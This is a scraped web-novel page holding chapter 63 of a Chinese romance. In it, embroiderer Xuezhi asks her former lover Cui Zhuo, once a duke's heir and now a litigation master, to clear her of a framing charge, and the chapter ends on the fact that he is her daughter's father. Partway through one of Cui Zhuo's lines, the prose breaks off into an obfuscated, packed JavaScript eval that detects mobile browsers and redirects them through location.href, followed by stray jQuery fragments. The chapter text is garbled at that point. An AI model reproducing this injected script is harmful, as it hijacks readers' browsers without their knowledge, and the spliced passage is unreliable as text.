默认冷灰
24号文字
方正启体

63.第六十三章

作者:晏迟川本书字数:K更新时间:
    雪枝没有想过,她会再次见到崔濯——而且还是用如此猝不及防的方式见面,还是她主动求的。


    她原以为这辈子都不会再见到他了。


    遥远到仿佛世纪前的记忆蓦然山呼海啸般袭来,一幕幕仿佛在雪枝面前浮现。


    直到崔濯的声音将她从回忆里拉出。


    “秦老板。”崔濯道。


    雪枝惊讶地张了张嘴,犹豫了一瞬,回道:“崔世子有礼。”


    崔濯却浅浅地露出一抹笑来,谦谦公子般道:“我已不是世子,秦老板不必再唤我世子了,我如今只是个普通的抄书先生。”


    雪枝被崔濯这突如其来的身份转变弄得震惊不已。


    按理说,崔濯是晋国公府唯一的嫡子,只要他不犯什么过错,就不会轻易废立,可是如今他却说他已不是世子了,这又是为何?


    崔濯似乎看穿了雪枝的疑问,侧开身位道:“进来说吧。”


    崔濯率先走了进去,雪枝手中还拎着礼品盒子,犹豫片刻,还是跟在崔濯身后进屋了,毕竟她如今有求于他。


    崔濯的住处很简陋,只有一间瓦房,连着一处灶台做厨房,屋檐下放着一套竹子拼接成的桌椅,看起来十分陈旧。


    这样的家具,放在从前,崔濯只怕连见也没见过,如今却过得这般清贫。


    雪枝怔怔地想着,崔濯从厨房里走出,端出一个瓷碗给雪枝倒了杯水。


    “我这里平时没人来,便也未备茶水,请见谅。”


    雪枝摇了摇头,迟疑道:“世子......听闻先生是京城来的讼师?”


    崔濯分明官拜刑部尚书,怎会来干讼师这个不这么被人瞧得起的行当?


    崔濯脸上却丝毫没有畏缩之意,坦坦荡荡地点了个头道:“不错。”


    雪枝诧异道:“你怎么会去做讼师呢?”


    崔濯抬眸直直地望着雪枝,眸中是她看不懂的情绪:“想来,你也是不愿意听到晋国公府的消息的,若你留心打听,便会知晓,晋国公早在三年前,便已经被陛下夺爵流放,如今我也不过是一介布衣,为百姓写状纸,也只是为求一份糊口罢了。”


    雪枝被这迟来的消息打得头脑发昏,这怎么可能呢?晋国公府的先祖是跟随太祖皇帝打天下的功臣,而崔濯更是皇帝的左膀右臂,怎么会突然......


    雪枝觉得自己应该是在做梦,但她怎么会做这样奇怪的梦?


    她不知道该怎么安慰崔濯,只能干巴巴道:“以先生之才,屈做状师也只是一时之困,将来若有机会,必能飞黄腾达。”


    崔濯轻哂一声,没有回答雪枝的问题,径直问道:“你是为了择玉坊的案子来找我的吧?”


    “......你怎么知道?”


    崔濯淡淡道:“略有耳闻。”


    其实是那位和府衙有关系的公子哥特地找来,勒令他不许接择玉坊的案子,否则必然让他尝尝牢狱之灾。


    崔濯并不怵这位仗势欺人的公子,但择玉坊有事,他必然不会坐视不理,便旁敲侧击地从公子哥那里打听出了此事的来龙去脉。


    这位公子哥自视甚高,自然对自己的计策颇为得意,三言两语便被崔濯套出了话。


    故而崔濯这几日都在帮雪枝收集证据,也没有时间见她,自然逃避见她也是一个原因。


    见到崔濯之后,雪枝脑子里一直徘徊着要不要换一个讼师的念头,但事已至此,雪枝也不好当着他的面拒绝这门生意,况且他如今过得如此清贫,一个从前养尊处优的世子,这样应当很难熬吧?


    雪枝摇摇头甩开自己的念头,她同情他做什么呢?他们如今不过是形同陌路之人。


    雪枝道:“既然先生知道此事,那我就直言不讳了,不知先生可有办法,帮我逃脱这无妄之灾?”


    崔濯却一针见血道:“秦老板有证据证明这是无妄之灾吗?”


    雪枝沉默着没有回答,她自然是没办法拿回那件衣裳,所以才来求崔濯帮忙。


    雪枝道:“若是我有证据,便不会来找先生了。”


    红泥小火炉里爆出一颗火星,崔濯拿起上头温着的陶罐,给雪枝添了热水。


    他慢条斯理道:“依我之见,那件衣裳估计已经被胡家销毁,恐怕找不到证据证明你卖给他们的那件衣裳是没问题的。”


    雪枝顿时急了起来,“那怎么办?难不成我就要这样被他冤枉吗?”


    崔濯安抚道:“不,若是衣裳真被销毁了,反而是件好事。”


    “好事?”雪枝被他搞迷糊了。


    崔濯微微颔首道:“想证明一件东西是真的,并不容易,但若是想证明它是假的,却很简单。”


    在算学中,只需要举一个反例,便可质证该命题为伪,在这件案子中,也是一样的。


    “愿闻其详。”


    “敢问秦老板,那件百子千孙服是出自何人之手?”


    “是我亲自绣的,还有我的学徒阿花和喜娘,都绣过一部分。”


    “是否每个人的绣法绣技,都有不同?”


    “那是自然,虽然这件衣裳为了保持绣面上的一致,阿花和喜娘都很尽力在模仿我的技艺,但终究不能做到百分百成熟,总归还是有瑕疵的。”


    “能否看得出来?”


    雪枝沉吟片刻道:“经验老到的绣娘能分辨出来,她们是我一手带出来的,我很熟悉她们的绣法,阿花常常起手针会比其他针多不到一分的距离,没仔细瞧是看不出来的,喜娘容易错针,所以绣布下总是会有几个拆了缝、缝了拆的针孔,你怎么突然问......”


    不必崔濯明说,雪枝便已明白了崔濯的意思。


    若是胡家已经把真的衣裳毁灭,那么就只剩下假的、用来栽赃陷害她的证据,那么她就可以以这些蛛丝马迹为证据,证明这件衣裳是胡家伪造的,这样,胡家想要诬陷她的证据就不成立了,她也就可以顺利洗脱嫌疑,重新树立择玉坊的威望。


    她怎么没想到这层呢?


    解除了警报,雪枝向崔濯灿然一笑:“多谢世子,如此一来,此事便迎刃而解了!”


    雪枝喊得顺口,一激动,嘴巴比脑子快直接有把世子的称谓喊出来了。


    雪枝瞧瞧去看崔濯的神情,见他神情无异,才放下心来。


    崔濯道:“你放心,那件事情已经过去很久了,我如今并不在意。”


    “这场官司并不难打,但若是胡家并没有把衣裳毁坏,反而在衣裳上做手脚,恐怕就要难办得多。”


    雪枝闻言又皱起眉头,“若是如此,该当如何?”


    崔濯微微一笑:“这也不难,若要人不知,除非己莫为,胡家也并非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426298|197835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    铁板一块,晓之以理,诱之以利,总有一个口子能够撕破的。”


    看着崔濯成竹在胸,游刃有余的模样,雪枝忽然觉得他能够官至刑部尚书并不是没有道理的,让他在小小的扬州城里做一个讼师,实在是屈才了。


    崔濯见雪枝恍惚地盯着他,摸了摸脸,“我脸上有什么东西吗?”


    雪枝猛然惊醒,慌乱地移开眼睛。


    “那此事便托付给先生了,若有变故,还请及时告知。”雪枝起身,朝崔濯行了一礼。


    崔濯温温柔柔地笑道:“此事,请秦老板放心。”


    崔濯面色毫无波动,雪枝不太明白,他怎么能对她如此淡然地换了称谓,还是这么多变故,将他的心性磨砺得如此平和?


    雪枝点了点头,正欲离去,忽地想起什么,道:“你……你之前把扬州千金阁的玉牌送给朝娘,只是她年纪尚小,颇不懂事的,你如今若钱银短缺,不如将玉牌收回去,千金阁毕竟也是你的产业。”


    崔濯闻言面上一愣,随即荡开一抹浅浅的笑:“我不缺银子。”


    雪枝被他弄糊涂了,“你不缺银子,怎么会住这里?”


    从前崔濯过的都是食不厌精脍不厌细的日子,他能过得惯这种苦日子吗?


    崔濯道:“我是自愿住在这里的。”


    见雪枝怔愣的神情,崔濯却笑道:“你以为我只能住三进大院,呼奴唤俾吗?从前在外面查案,风餐露宿,有时候连间像样的馆驿都找不到,为了追捕逃犯,三日三夜没得休息,如今能有片瓦遮头,已是极好的生活了。”


    雪枝听出来了,他是自愿过这样苦行僧般的日子的。


    雪枝舌头发麻,好半天才找回声音问道:“为何?”


    崔濯却眼神一变,目光灼灼地看着她:“因为我怕一旦约束不住自己,便会再次肆无忌惮地扑向你。”


    这样热烈不加掩饰的话瞬间攫住了雪枝。


    她受不住,只能跌跌撞撞地落荒而逃。


    她……她究竟干什么去见他?!


    雪枝捏着胸口的衣服坐在床边,深深呼了口气。


    崔濯还是那个崔濯,其实他根本没变,只是懂得收敛了。


    即便他如今不是晋国公府世子了,他依然有大把能耐把她玩弄在股掌之间,让她动弹不得。


    但他却没做。


    甚至来扬州也不曾来见她,甚至是躲着没见她的,说明他并没有打扰她的生活的意思。


    也许是她想多了,自己吓自己罢了。


    已经过了这么久,崔濯怎么可能还……他已经主动放手了。


    她何必杞人忧天呢?


    朝娘歪着头看着出神的娘亲,抱住她的腿晃了晃,“阿娘。阿娘?阿娘!”


    雪枝猛地回神,一低头看见女儿,问道:“怎么了?”


    “阿娘今天去哪里了?我从学堂回来都见不到你。”朝娘嘟着小嘴抱怨道。


    雪枝讪讪一笑,“去……去了一个先生家里。”


    “又是先生?”朝娘大声道:“我不要先生!”


    雪枝失笑:“不是你的先生……是阿娘的先生。”


    话音一落,雪枝看着眼前的小姑娘,恍惚看见了崔濯。


    崔濯毕竟是朝娘的父亲,如今他来了扬州,她要不要告诉朝娘,去见他一面?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)